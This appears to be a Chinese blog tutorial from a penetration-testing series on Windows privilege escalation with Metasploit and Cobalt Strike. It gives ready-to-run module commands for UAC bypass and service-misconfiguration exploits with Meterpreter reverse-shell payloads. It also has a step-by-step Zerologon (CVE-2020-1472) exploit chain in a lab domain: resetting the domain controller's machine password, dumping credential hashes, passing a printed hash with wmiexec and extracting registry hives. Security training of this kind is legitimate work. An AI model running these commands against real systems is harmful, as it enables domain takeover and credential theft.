MSF和CS提权

发布于 2021-06-23  1914 次阅读


《渗透测试》目录

一、Metasploit提权模块

1.Meterpreter自动提权命令

getsystem:getsystem是由Metasploit-Framework提供的一个模块,它可以将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户

(1)getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。      

(2)getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。     

(3)Windows服务已启动,导致与命名管道建立连接。        

(4)该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。        

(5)然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

2.bypassUAC   (关闭防火墙的情况下成功,未关闭则失败)

UAC:用户帐户控制(User Account Control),是在Windows Vista及更高版本操作系统中采用的一种控制机制,它以预见的方式阻止不必要的系统范围更改。

getsystem提权方式对于普通用户来说是失败的不可正常执行的,那么这种情况下就需要绕过系统UAC来进行getsystem提权。

(1)进程注入

use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.8
set session 1
exploit

(2)内存注入   

use exploit/windows/local/bypassuac_injection
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.8
set session 1
exploit

(3)Eventvwr注册表项 

use exploit/windows/local/bypassuac_eventvwr

(4)COM处理程序劫持

use exploit/windows/local/bypassuac_comhijack

通过bypassUAC获取的session可以看到依然是普通权限,可以getsystem进行提权至system权限

3.kernel漏洞提权

windows-kernel-exploits(Windows平台提权漏洞集合):https://github.com/SecWiki/windows-kernel-exploits

msf中的相应模块:

use post/multi/recon/local_exploit_suggester
set SESSION 1
exploit

优点:省去手动查找的麻烦
缺点:不是所有列出的local exploit都可用

直接利用漏洞,获取到的直接为system权限:

4.unquoted_service_path

unquoted_service_path 模块(msf6)        

已弃用exploits/windows/local/trusted_service_path (以前的名称)

exploit/windows/local/unquoted_service_path
set session 1
Exploit -j
use exploit/multi/handler
set autorunscript migrate –f        (自动迁移进程)
Exploit -j

5.service_permissions

service_permissions模块

use exploit/windows/local/service_permissions
set sessions 1
run

6.always_install_elevated

always_install_elevated模块

use exploit/windows/local/always_install_elevated
set sessions 1
run

若失败则更改一下payload为windows/x64/meterpreter/reverse_tcp并且更改下端口

7.other

https://www.freebuf.com/articles/system/184289.html


二、CobaltStrike提权模块

1.beacon - Elevate

2.自用提权exe

使用File Browser上传CVE2019-0803.exe,然后进行利用

3.Powershell(会被杀软拦截)

help powershell-import
Use: powershell-import [/path/to/local/script.ps1]

4.SweetPotato(条件较苛刻)

https://github.com/Tycx2ry/SweetPotato_CS

需要下载之后双击.sln文件进行编译

5.域权限提升

Netlogon域权限提升(CVE-2020-1472)

2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞 的风险通告。攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。

漏洞编号:CVE-2020-1472
影响版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2012
Windows Server 2016
Windows Server 2019
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

漏洞复现:

环境:DC域靶场

DC ip地址:192.168.123.129/10.10.10.10

(1)使用域内机器查看域控主机名称

net group "domain controllers" /domain

(2)检测漏洞是否存在

https://github.com/SecuraBV/CVE-2020-1472.git

在使用此脚本之前需安装相应的pip包:pip install -r requirements.txt 

python3 zerologon_tester.py DC 192.168.18.129    (使用时需将杀软关闭)

(3)漏洞利用,对域账号重置

https://github.com/blackarrowsec/redteam-research

python3 CVE-2020-1472.py DC DC$ 192.168.18.129

#这时候可以看一下用户凭证,DC$的hash已被置空   (在复现过程能够使用域控的情况下)

(4)获取域控用户hash

python3 secretsdump.py 'de1ay.com/DC$@192.168.18.129' -no-pass    (若失败可用kali进行获取)

(5)wmiexec进行hash横向连接        (使用上一步获取的管理员hash直接连接)

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:484c4a877bf92ab233572af847b9e530 DC$/Administrator@192.168.18.129

(6)恢复域 - 获取hash        (需要对域控机器进行恢复,否则会使之造成脱域,后果很严重!!!)

#获取sam数据库

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
#获取hash  (位置为$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:0e2496c02cd7945523a2ca3cdd941a3b,需要后面的NTLM哈希,前面的LM哈希值任意即可)

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
#还原hash

python3 ./reinstall_original_pw.py DC 192.168.18.129 0e2496c02cd7945523a2ca3cdd941a3b

#这时候可以看一下用户凭证,DC$的hash已被还原 (使用域控机器进行查看,注意在此时之前获取的cmd仍然能够使用,因为管理员用户的密码哈希没有变)

脚本:https://github.com/risksense/zerologon


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。